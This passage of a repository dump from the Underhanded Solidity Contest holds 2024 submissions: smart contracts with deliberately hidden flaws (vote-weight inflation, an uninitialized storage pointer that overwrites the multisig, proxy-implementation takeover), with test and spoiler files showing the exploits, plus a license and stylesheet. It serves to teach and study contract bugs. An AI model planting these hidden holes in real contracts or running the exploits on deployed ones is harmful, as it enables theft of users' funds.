instantVoting.collectVotes(proposalId, address(registry));
// Attacker votes
vm.prank(mallory);
votingToken.vote(proposalId, IVotingToken.Decision.For);
// Despite having the least voting weight, mallory's weight is counted
// 20 times through the maliciousRegistry and thereby turning the
// vote around.
instantVoting.collectVotes(proposalId, address(maliciousRegistry));
vm.expectEmit(true, false, false, false, address(executor));
emit MockExecutor.Executed(proposalId);
instantVoting.run(proposalId);
}
}
================================================
FILE: 2024/submissions_2024/submission2_Seppilon/test/legit.t.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import { Test, console } from "forge-std-1.9.2/src/Test.sol";
import { InstantVoting, IVotingToken } from "../src/InstantVoting.sol";
import { MockVotingToken } from "../src/mock/MockVotingToken.sol";
import { MockExecutor } from "../src/mock/MockExecutor.sol";
import { MockVoterRegistry } from "../src/mock/MockVoterRegistry.sol";
contract LegitTest is Test {
InstantVoting public instantVoting;
MockVotingToken public votingToken;
MockExecutor public executor;
MockVoterRegistry public registry;
address alice;
address bob;
address charlie;
bytes32 proposalId;
function setUp() public {
votingToken = new MockVotingToken("Voting", "VTG");
executor = new MockExecutor();
registry = new MockVoterRegistry();
instantVoting = new InstantVoting(address(votingToken), address(executor));
alice = makeAddr("alice");
bob = makeAddr("bob");
charlie = makeAddr("charlie");
votingToken.mint(alice, 7 * 10**18);
votingToken.mint(bob, 5 * 10**18);
votingToken.mint(charlie, 3 * 10**18);
registry.register(alice);
registry.register(bob);
registry.register(charlie);
proposalId = executor.schedule(
makeAddr("target"), 1 ether, "", keccak256("first proposal salt")
);
}
function test_successful_instant_vote() public {
// do the votes
vm.prank(alice);
votingToken.vote(proposalId, IVotingToken.Decision.Against);
vm.prank(bob);
votingToken.vote(proposalId, IVotingToken.Decision.For);
vm.prank(charlie);
votingToken.vote(proposalId, IVotingToken.Decision.For);
// collect votes
instantVoting.collectVotes(proposalId, address(registry));
// expect event emitted when proposal runs
vm.expectEmit(true, false, false, false, address(executor));
emit MockExecutor.Executed(proposalId);
instantVoting.run(proposalId);
}
function test_failing_voted_against() public {
// do the votes
vm.prank(alice);
votingToken.vote(proposalId, IVotingToken.Decision.Against);
vm.prank(bob);
votingToken.vote(proposalId, IVotingToken.Decision.Against);
vm.prank(charlie);
votingToken.vote(proposalId, IVotingToken.Decision.Against);
// collect votes
instantVoting.collectVotes(proposalId, address(registry));
// expect revert
vm.expectRevert("vote didn't pass");
instantVoting.run(proposalId);
}
function test_failing_not_enough_votes() public {
// do the votes
vm.prank(charlie);
votingToken.vote(proposalId, IVotingToken.Decision.For);
// collect votes
instantVoting.collectVotes(proposalId, address(registry));
// expect revert
vm.expectRevert("More than 20% of weight must have voted");
instantVoting.run(proposalId);
}
function test_failing_votes_only_count_once() public {
// do the votes
vm.prank(alice);
votingToken.vote(proposalId, IVotingToken.Decision.Against);
vm.prank(bob);
votingToken.vote(proposalId, IVotingToken.Decision.For);
vm.prank(charlie);
votingToken.vote(proposalId, IVotingToken.Decision.For);
// collect votes twice
instantVoting.collectVotes(proposalId, address(registry));
(int256 secondDecisionalWeight, uint256 secondTotalWeight)
= instantVoting.collectVotes(proposalId, address(registry));
// check that second collection of votes does not accumulate weight
assertEq(secondDecisionalWeight, 0);
assertEq(secondTotalWeight, 0);
}
}
================================================
FILE: 2024/submissions_2024/submission3_William_Bowling/OffchainStaking.sol
================================================
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.26;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
interface UserCallback {
function userCreated() external returns (bool);
}
contract OffchainStaking {
struct User {
address owner;
uint256 balance;
}
event UserCreated(address indexed owner);
event Deposit(address indexed owner, uint256 amount);
event Withdraw(address indexed owner, uint256 amount);
event TransferUser(address indexed owner, address newOwner);
event EmergencyWithdraw(address indexed to, uint256 amount);
event ReentracyDetected(address indexed owner);
address public multisig;
IERC20 public token;
mapping(address => User) public users;
constructor(address _multisig, IERC20 _token) {
multisig = _multisig;
token = _token;
}
////////////////////////////////////////////////////
//////////////// External Functions ////////////////
////////////////////////////////////////////////////
function createUser() external {
createUserInternal();
}
function deposit(uint256 amount) external {
User storage user = getUser();
depositInternal(amount, user);
}
function withdraw(uint256 amount) external {
User storage user = getUser();
withdrawInternal(amount, user);
}
function transferUser(address newOwner) external {
User storage user = getUser();
user.owner = newOwner;
}
function emergencyWithdraw(address to, uint256 amount) external {
require(msg.sender == multisig, "Not multisig");
require(token.transfer(to, amount), "Transfer failed");
emit EmergencyWithdraw(to, amount);
}
///////////////////////////////////////////////////
//////////////////// Modifiers ////////////////////
///////////////////////////////////////////////////
modifier createReentrancy(address addr) {
userCreateStart(addr);
_;
userCreateEnd(addr);
}
modifier skipIfReentrant(address addr, User storage user) {
if (isInUserCreate(addr)) {
emit ReentracyDetected(user.owner);
return;
}
_;
}
////////////////////////////////////////////////////
//////////////// Internal Functions ////////////////
////////////////////////////////////////////////////
function createUserInternal() internal createReentrancy(msg.sender) returns (User storage user) {
user = users[msg.sender];
user.owner = msg.sender;
UserCallback callback = UserCallback(msg.sender);
if (address(callback).code.length > 0) {
require(callback.userCreated());
}
emit UserCreated(msg.sender);
}
function depositInternal(uint256 amount, User storage user) internal skipIfReentrant(msg.sender, user) {
user.balance += amount;
require(token.transferFrom(msg.sender, address(this), amount), "Transfer failed");
emit Deposit(msg.sender, amount);
}
function withdrawInternal(uint256 amount, User storage user) internal skipIfReentrant(msg.sender, user) {
require(user.balance >= amount, "Insufficient balance");
user.balance -= amount;
require(token.transfer(msg.sender, amount), "Transfer failed");
emit Withdraw(msg.sender, amount);
}
function getUser() internal skipIfReentrant(msg.sender, user=user) returns (User storage user) {
user = users[msg.sender];
}
////////////////////////////////////////////////////
////////////// TStore/TLoad wrappers ///////////////
////////////////////////////////////////////////////
function userCreateStart(address addr) internal {
tstore(keccak256(abi.encodePacked("userCreate", addr)), 1);
}
function userCreateEnd(address addr) internal {
tstore(keccak256(abi.encodePacked("userCreate", addr)), 0);
}
function isInUserCreate(address addr) internal view returns (bool) {
return tload(keccak256(abi.encodePacked("userCreate", addr))) == 1;
}
function tstore(bytes32 key, uint256 value) internal {
assembly {
tstore(key, value)
}
}
function tload(bytes32 key) internal view returns (uint256 value) {
assembly {
value := tload(key)
}
}
}
================================================
FILE: 2024/submissions_2024/submission3_William_Bowling/readme.txt
================================================
Welcome to Offchain Staking! Stake with us for guarenteed returns, everything is handled offchain with our secret sauce so you don't have to worry! Making use of the latest and greatest solidity features, our on-chain code is so simple it will never be hacked!
================================================
FILE: 2024/submissions_2024/submission3_William_Bowling/spoiler.txt
================================================
The contract has a bug which allows the `multisig` storage variable to be overwritten, allowing the `emergencyWithdraw` function to be called by an attacker. The bug is a combination of two things
* The `skipIfReentrant` modifier not execute the function if reentrancy is detected.
* https://github.com/ethereum/solidity/issues/14021 - This solidity bug allows an uninitialized storage pointer to be returned by assigning it to itself.
The `getUser` function has the `skipIfReentrant` modifier and passes in `user=user` as an argument, triggering the solidity issue instead of refusing to compile. If reentrancy is detected then the function body is never called and `user` remains uninitialized and will point to storage slot zero (the multisig). This can be abused by the `transferUser` function to overwrite the multisig storage slot instead of the `user.owner` by calling if from within the `userCreated` callback.
================================================
FILE: 2024/submissions_2024/submission4_Gerard_Persoon/README.txt
================================================
The contract "token.sol" is an example of a nice use case of transient storage.
It stores several pieces of information in transient storage and in the end uses these pieces of information.
This way the information doesn't have to be send back and forth in a struct.
This example uses this pattern to deploy a token contract:
- first the token name is stored via tempStoreKeyValue();
- then the token symbol is stored via tempStoreKeyValue();
- finally the token is deployed via deployToken().
Note: values can also be erased by assigning an empty value via tempStoreKeyValue(), otherwise they will be erased at the end of the transaction.
Added features to simulate a real life environment:
- proxy logic is added to show that transient storage also works in combination with proxies
- function pointers are used to abstract the use of either transient or normal storage
- function pointers are immutable so they can be initialized in the contructor and still work with proxies
- support is built in for chains that don't (yet) support transient storage
The example can be run in Remix
Expected output: "Deploying token: Token name / Token symbol"
================================================
FILE: 2024/submissions_2024/submission4_Gerard_Persoon/spoiler.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import "hardhat/console.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";
contract token is ERC20 {
constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {
}
}
contract transientImplementation {
function(string memory) returns (bytes32) immutable load;
function(string memory, bytes32) immutable store;
function getSlot(string memory s ) internal pure returns (bytes32) {
return bytes32(uint256(keccak256(bytes(s)))-1);
}
function tstore(string memory s, bytes32 value) internal {
bytes32 a = getSlot(s);
assembly { tstore(a, value) }
}
function sstore(string memory s, bytes32 value) internal {
bytes32 a = getSlot(s);
assembly { sstore(a, value) }
}
function tload(string memory s) internal view returns (bytes32 value) {
bytes32 a = getSlot(s);
assembly { value := tload(a) }
}
function sload(string memory s) internal view returns (bytes32 value) {
bytes32 a = getSlot(s);
assembly { value := sload(a) }
}
function tempStoreKeyValue(string memory key, bytes32 value) public {
store(key,value);
}
function tempGetValue(string memory key) public returns (bytes32 value) {
return load(key);
}
function toString(bytes32 _bytes32) internal pure returns (string memory) {
uint8 i;
while (i < 32 && _bytes32[i] != 0) i++;
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
bytesArray[i] = _bytes32[i];
}
return string(bytesArray);
}
function deployToken() public returns(address){
string memory name = toString(tempGetValue("name"));
string memory symbol = toString(tempGetValue("symbol"));
console.log("Deploying token:",name," / ",symbol);
token t = new token(name,symbol);
return address(t);
}
constructor(bool _hasTrancient) { // not every chain supports transient storage, fallback via storage
(load,store) = _hasTrancient ? (tload,tstore) : (sload,sstore);
}
}
contract fake {
function deployToken() public returns(address){
console.log("The implementation has been taken over");
return address(0);
}
}
contract test {
transientImplementation _implementation = new transientImplementation(false); // An issue occurs when the fallback option to traditional storage is used.
transientImplementation public proxy = transientImplementation(address(new TransparentUpgradeableProxy(address(_implementation), address(this), "")));
constructor() {
proxy.tempStoreKeyValue("name","Token name");
proxy.tempStoreKeyValue("symbol","Token symbol");
proxy.deployToken();
proxy.tempStoreKeyValue("eip1967.proxy.implementation",bytes32(uint256(uint160(address(new fake()))))); // this overwrites the implementation
proxy.deployToken();
}
}
================================================
FILE: 2024/submissions_2024/submission4_Gerard_Persoon/spoiler.txt
================================================
This is the spoilor for contract "token.sol"
The function tempStoreKeyValue() allows writing to any transient storage location, which normally would not be a (big) problem.
However an issue occurs when the chain doesn't support transient storage and the fallback option is used to use normal storage.
Then the function tempStoreKeyValue() allows writing to any storage location.
This is bad for most contracts but especially for proxy based contracts because the implementation address can be overwritten.
Function getSlot() uses the same algorithm as the OpenZeppelin TransparentUpgradeableProxy uses, to make the problem very obvious.
Contract "spoiler.sol" can be run in Remix and shows how the implementation can be taken over.
Expected output: "Deploying token: Token name / Token symbol"
"The implementation has been taken over"
================================================
FILE: 2024/submissions_2024/submission4_Gerard_Persoon/token.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import "hardhat/console.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";
contract token is ERC20 {
constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {
}
}
contract transientImplementation {
function(string memory) returns (bytes32) immutable load;
function(string memory, bytes32) immutable store;
function getSlot(string memory s ) internal pure returns (bytes32) {
return bytes32(uint256(keccak256(bytes(s)))-1);
}
function tstore(string memory s, bytes32 value) internal {
bytes32 a = getSlot(s);
assembly { tstore(a, value) }
}
function sstore(string memory s, bytes32 value) internal {
bytes32 a = getSlot(s);
assembly { sstore(a, value) }
}
function tload(string memory s) internal view returns (bytes32 value) {
bytes32 a = getSlot(s);
assembly { value := tload(a) }
}
function sload(string memory s) internal view returns (bytes32 value) {
bytes32 a = getSlot(s);
assembly { value := sload(a) }
}
function tempStoreKeyValue(string memory key, bytes32 value) public {
store(key,value);
}
function tempGetValue(string memory key) public returns (bytes32 value) {
return load(key);
}
function toString(bytes32 _bytes32) internal pure returns (string memory) {
uint8 i;
while (i < 32 && _bytes32[i] != 0) i++;
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
bytesArray[i] = _bytes32[i];
}
return string(bytesArray);
}
function deployToken() public returns(address){
string memory name = toString(tempGetValue("name"));
string memory symbol = toString(tempGetValue("symbol"));
console.log("Deploying token:",name," / ",symbol);
token t = new token(name,symbol);
return address(t);
}
constructor(bool _hasTrancient) { // not every chain supports transient storage, fallback via storage
(load,store) = _hasTrancient ? (tload,tstore) : (sload,sstore);
}
}
contract test {
transientImplementation _implementation = new transientImplementation(true);
transientImplementation public proxy = transientImplementation(address(new TransparentUpgradeableProxy(address(_implementation), address(this), "")));
constructor() {
proxy.tempStoreKeyValue("name","Token name");
proxy.tempStoreKeyValue("symbol","Token symbol");
proxy.deployToken();
}
}
================================================
FILE: CNAME
================================================
underhanded.soliditylang.org
================================================
FILE: LICENSE.txt
================================================
Creative Commons Attribution 3.0 Unported
http://creativecommons.org/licenses/by/3.0/
License
THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.
BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS LICENSE MAY BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
1. Definitions
1. "Adaptation" means a work based upon the Work, or upon the Work and other pre-existing works, such as a translation, adaptation, derivative work, arrangement of music or other alterations of a literary or artistic work, or phonogram or performance and includes cinematographic adaptations or any other form in which the Work may be recast, transformed, or adapted including in any form recognizably derived from the original, except that a work that constitutes a Collection will not be considered an Adaptation for the purpose of this License. For the avoidance of doubt, where the Work is a musical work, performance or phonogram, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered an Adaptation for the purpose of this License.
2. "Collection" means a collection of literary or artistic works, such as encyclopedias and anthologies, or performances, phonograms or broadcasts, or other works or subject matter other than works listed in Section 1(f) below, which, by reason of the selection and arrangement of their contents, constitute intellectual creations, in which the Work is included in its entirety in unmodified form along with one or more other contributions, each constituting separate and independent works in themselves, which together are assembled into a collective whole. A work that constitutes a Collection will not be considered an Adaptation (as defined above) for the purposes of this License.
3. "Distribute" means to make available to the public the original and copies of the Work or Adaptation, as appropriate, through sale or other transfer of ownership.
4. "Licensor" means the individual, individuals, entity or entities that offer(s) the Work under the terms of this License.
5. "Original Author" means, in the case of a literary or artistic work, the individual, individuals, entity or entities who created the Work or if no individual or entity can be identified, the publisher; and in addition (i) in the case of a performance the actors, singers, musicians, dancers, and other persons who act, sing, deliver, declaim, play in, interpret or otherwise perform literary or artistic works or expressions of folklore; (ii) in the case of a phonogram the producer being the person or legal entity who first fixes the sounds of a performance or other sounds; and, (iii) in the case of broadcasts, the organization that transmits the broadcast.
6. "Work" means the literary and/or artistic work offered under the terms of this License including without limitation any production in the literary, scientific and artistic domain, whatever may be the mode or form of its expression including digital form, such as a book, pamphlet and other writing; a lecture, address, sermon or other work of the same nature; a dramatic or dramatico-musical work; a choreographic work or entertainment in dumb show; a musical composition with or without words; a cinematographic work to which are assimilated works expressed by a process analogous to cinematography; a work of drawing, painting, architecture, sculpture, engraving or lithography; a photographic work to which are assimilated works expressed by a process analogous to photography; a work of applied art; an illustration, map, plan, sketch or three-dimensional work relative to geography, topography, architecture or science; a performance; a broadcast; a phonogram; a compilation of data to the extent it is protected as a copyrightable work; or a work performed by a variety or circus performer to the extent it is not otherwise considered a literary or artistic work.
7. "You" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation.
8. "Publicly Perform" means to perform public recitations of the Work and to communicate to the public those public recitations, by any means or process, including by wire or wireless means or public digital performances; to make available to the public Works in such a way that members of the public may access these Works from a place and at a place individually chosen by them; to perform the Work to the public by any means or process and the communication to the public of the performances of the Work, including by public digital performance; to broadcast and rebroadcast the Work by any means including signs, sounds or images.
9. "Reproduce" means to make copies of the Work by any means including without limitation by sound or visual recordings and the right of fixation and reproducing fixations of the Work, including storage of a protected performance or phonogram in digital form or other electronic medium.
2. Fair Dealing Rights. Nothing in this License is intended to reduce, limit, or restrict any uses free from copyright or rights arising from limitations or exceptions that are provided for in connection with the copyright protection under copyright law or other applicable laws.
3. License Grant. Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:
1. to Reproduce the Work, to incorporate the Work into one or more Collections, and to Reproduce the Work as incorporated in the Collections;
2. to create and Reproduce Adaptations provided that any such Adaptation, including any translation in any medium, takes reasonable steps to clearly label, demarcate or otherwise identify that changes were made to the original Work. For example, a translation could be marked "The original work was translated from English to Spanish," or a modification could indicate "The original work has been modified.";
3. to Distribute and Publicly Perform the Work including as incorporated in Collections; and,
4. to Distribute and Publicly Perform Adaptations.
5.
For the avoidance of doubt:
1. Non-waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;
2. Waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor waives the exclusive right to collect such royalties for any exercise by You of the rights granted under this License; and,
3. Voluntary License Schemes. The Licensor waives the right to collect royalties, whether individually or, in the event that the Licensor is a member of a collecting society that administers voluntary licensing schemes, via that society, from any exercise by You of the rights granted under this License.
The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. Subject to Section 8(f), all rights not expressly granted by Licensor are hereby reserved.
4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
1. You may Distribute or Publicly Perform the Work only under the terms of this License. You must include a copy of, or the Uniform Resource Identifier (URI) for, this License with every copy of the Work You Distribute or Publicly Perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of the recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform. When You Distribute or Publicly Perform the Work, You may not impose any effective technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collection, but this does not require the Collection apart from the Work itself to be made subject to the terms of this License. If You create a Collection, upon notice from any Licensor You must, to the extent practicable, remove from the Collection any credit as required by Section 4(b), as requested. If You create an Adaptation, upon notice from any Licensor You must, to the extent practicable, remove from the Adaptation any credit as required by Section 4(b), as requested.
2. If You Distribute, or Publicly Perform the Work or any Adaptations or Collections, You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or if the Original Author and/or Licensor designate another party or parties (e.g., a sponsor institute, publishing entity, journal) for attribution ("Attribution Parties") in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; (ii) the title of the Work if supplied; (iii) to the extent reasonably practicable, the URI, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and (iv) , consistent with Section 3(b), in the case of an Adaptation, a credit identifying the use of the Work in the Adaptation (e.g., "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). The credit required by this Section 4 (b) may be implemented in any reasonable manner; provided, however, that in the case of a Adaptation or Collection, at a minimum such credit will appear, if a credit for all contributing authors of the Adaptation or Collection appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributing authors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Original Author, Licensor and/or Attribution Parties, as appropriate, of You or Your use of the Work, without the separate, express prior written permission of the Original Author, Licensor and/or Attribution Parties.
3. Except as otherwise agreed in writing by the Licensor or as may be otherwise permitted by applicable law, if You Reproduce, Distribute or Publicly Perform the Work either by itself or as part of any Adaptations or Collections, You must not distort, mutilate, modify or take other derogatory action in relation to the Work which would be prejudicial to the Original Author's honor or reputation. Licensor agrees that in those jurisdictions (e.g. Japan), in which any exercise of the right granted in Section 3(b) of this License (the right to make Adaptations) would be deemed to be a distortion, mutilation, modification or other derogatory action prejudicial to the Original Author's honor and reputation, the Licensor will waive or not assert, as appropriate, this Section, to the fullest extent permitted by the applicable national law, to enable You to reasonably exercise Your right under Section 3(b) of this License (right to make Adaptations) but not otherwise.
5. Representations, Warranties and Disclaimer
UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU.
6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
7. Termination
1. This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Adaptations or Collections from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License.
2. Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.
8. Miscellaneous
1. Each time You Distribute or Publicly Perform the Work or a Collection, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
2. Each time You Distribute or Publicly Perform an Adaptation, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.
3. If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
4. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.
5. This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.
6. The rights granted under, and the subject matter referenced, in this License were drafted utilizing the terminology of the Berne Convention for the Protection of Literary and Artistic Works (as amended on September 28, 1979), the Rome Convention of 1961, the WIPO Copyright Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 and the Universal Copyright Convention (as revised on July 24, 1971). These rights and subject matter take effect in the relevant jurisdiction in which the License terms are sought to be enforced according to the corresponding provisions of the implementation of those treaty provisions in the applicable national law. If the standard suite of rights granted under applicable copyright law includes additional rights not granted under this License, such additional rights are deemed to be included in the License; this License is not intended to restrict the license of any rights under applicable law.
================================================
FILE: README.md
================================================
# solidity-underhanded-contest
Website and resources for the Underhanded Solidity Contest.
================================================
FILE: assets/css/main.css
================================================
@import url(fontawesome-all.min.css);
/*
Hyperspace by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
*/
html, body, div, span, applet, object,
iframe, h1, h2, h3, h4, h5, h6, p, blockquote,
pre, a, abbr, acronym, address, big, cite,
code, del, dfn, em, img, ins, kbd, q, s, samp,
small, strike, strong, sub, sup, tt, var, b,
u, i, center, dl, dt, dd, ol, ul, li, fieldset,
form, label, legend, table, caption, tbody,
tfoot, thead, tr, th, td, article, aside,
canvas, details, embed, figure, figcaption,
footer, header, hgroup, menu, nav, output, ruby,
section, summary, time, mark, audio, video {
margin: 0;
padding: 0;
border: 0;
font-size: 100%;
font: inherit;
vertical-align: baseline;}
article, aside, details, figcaption, figure,
footer, header, hgroup, menu, nav, section {
display: block;}
body {
line-height: 1;
}
ol, ul {
list-style: none;
}
blockquote, q {
quotes: none;
}
blockquote:before, blockquote:after, q:before, q:after {
content: '';
content: none;
}
table {
border-collapse: collapse;
border-spacing: 0;
}
body {
-webkit-text-size-adjust: none;
}
mark {
background-color: transparent;
color: inherit;
}
input::-moz-focus-inner {
border: 0;
padding: 0;
}
input, select, textarea {
-moz-appearance: none;
-webkit-appearance: none;
-ms-appearance: none;
appearance: none;
}
/* Basic */
@-ms-viewport {
width: device-width;
}
body {
-ms-overflow-style: scrollbar;
}
@media screen and (max-width: 480px) {
html, body {
min-width: 320px;
}
}
html {
box-sizing: border-box;
}
*, *:before, *:after {
box-sizing: inherit;
}
body {
background: #111111;
}
body.is-preload *, body.is-preload *:before, body.is-preload *:after {
-moz-animation: none !important;
-webkit-animation: none !important;
-ms-animation: none !important;
animation: none !important;
-moz-transition: none !important;
-webkit-transition: none !important;
-ms-transition: none !important;
transition: none !important;
}
/* Type */
body, input, select, textarea {
color:#111111;
font-family: 'Fira Code', monospace;
font-size: 16.5pt;
font-weight: normal;
line-height: 1.75;
}
@media screen and (max-width: 1680px) {
body, input, select, textarea {
font-size: 13pt;
}
}
@media screen and (max-width: 1280px) {
body, input, select, textarea {
font-size: 12pt;
}
}
@media screen and (max-width: 360px) {
body, input, select, textarea {
font-size: 11pt;
}
}
a {
-moz-transition: color 0.2s ease, border-bottom-color 0.2s ease;
-webkit-transition: color 0.2s ease, border-bottom-color 0.2s ease;
-ms-transition: color 0.2s ease, border-bottom-color 0.2s ease;
transition: color 0.2s ease, border-bottom-color 0.2s ease;
border-bottom: dotted 1px rgba(255, 255, 255, 0.35);
color: inherit;
text-decoration: none;
}
a:hover {
border-bottom-color: transparent;
color: #FFBE98;
}
strong, b {
color: #ffffff;
font-weight: bold;
}
em, i {
font-style: italic;
}
p {
margin: 0 0 2em 0;
}
h1 {
color: #ffffff;
font-weight: bold;
line-height: 1.5;
margin: 0 0 0.5em 0;
}
h2 {
color: #111111;
font-weight: bold;
line-height: 1.5;
margin: 0 0 0.5em 0;
}
h3 {
color: #A3A3A3;
font-weight: bold;
line-height: 1.5;
margin: 0 0 0.5em 0;
}
h4, h5, h6 {
color: #111111;
font-weight: bold;
line-height: 1.5;
margin: 0 0 0.5em 0;
}
h1 a, h2 a, h3 a, h4 a, h5 a, h6 a {
color: inherit;
text-decoration: none;
}
h1 {
font-size: 2.75em;
}
h1.major {
margin: 0 0 1.3em 0;
position: relative;
padding-bottom: 0.35em;
}
h1.major:after {
background-image: -moz-linear-gradient(to right, #5e42a6, #b74e91);
background-image: -webkit-linear-gradient(to right, #5e42a6, #b74e91);
background-image: -ms-linear-gradient(to right, #5e42a6, #b74e91);
background-image: linear-gradient(to right, #5e42a6, #b74e91);
-moz-transition: max-width 0.2s ease;
-webkit-transition: max-width 0.2s ease;
-ms-transition: max-width 0.2s ease;
transition: max-width 0.2s ease;
border-radius: 0.2em;
bottom: 0;
content: '';
height: 0.05em;
position: absolute;
right: 0;
width: 100%;
}
h2 {
font-size: 1.75em;
}
h3 {
font-size: 1.1em;
}
h4 {
font-size: 1.1em;
}
h5 {
font-size: 0.8em;
}
h6 {
font-size: 0.6em;
}
@media screen and (max-width: 736px) {
h1 {
font-size: 2em;
}
h2 {
font-size: 1.25em;
}
h3 {
font-size: 1em;
}
h4 {
font-size: 0.8em;
}
h5 {
font-size: 0.6em;
}
h6 {
font-size: 0.6em;
}
}
sub {
font-size: 0.8em;
position: relative;
top: 0.5em;
}
sup {
font-size: 0.8em;
position: relative;
top: -0.5em;
}
blockquote {
border-left: solid 4px rgba(255, 255, 255, 0.15);
font-style: italic;
margin: 0 0 2em 0;
padding: 0.5em 0 0.5em 2em;
}
code {
color: #111111;
background: #0000;
border-radius: 0.3em;
border: solid 0.5px #111111;
font-family: "Courier New", monospace;
font-size: 0.9em;
margin: 0 0.25em;
padding: 0.25em 0.65em;
}
pre {
-webkit-overflow-scrolling: touch;
font-family: "Courier New", monospace;
font-size: 0.9em;
margin: 0 0 2em 0;
}
pre code {
display: block;
line-height: 1.75em;
padding: 1em 1.5em;
overflow-x: auto;
}
hr {
border: 0;
border-bottom: solid 1px rgba(255, 255, 255, 0.15);
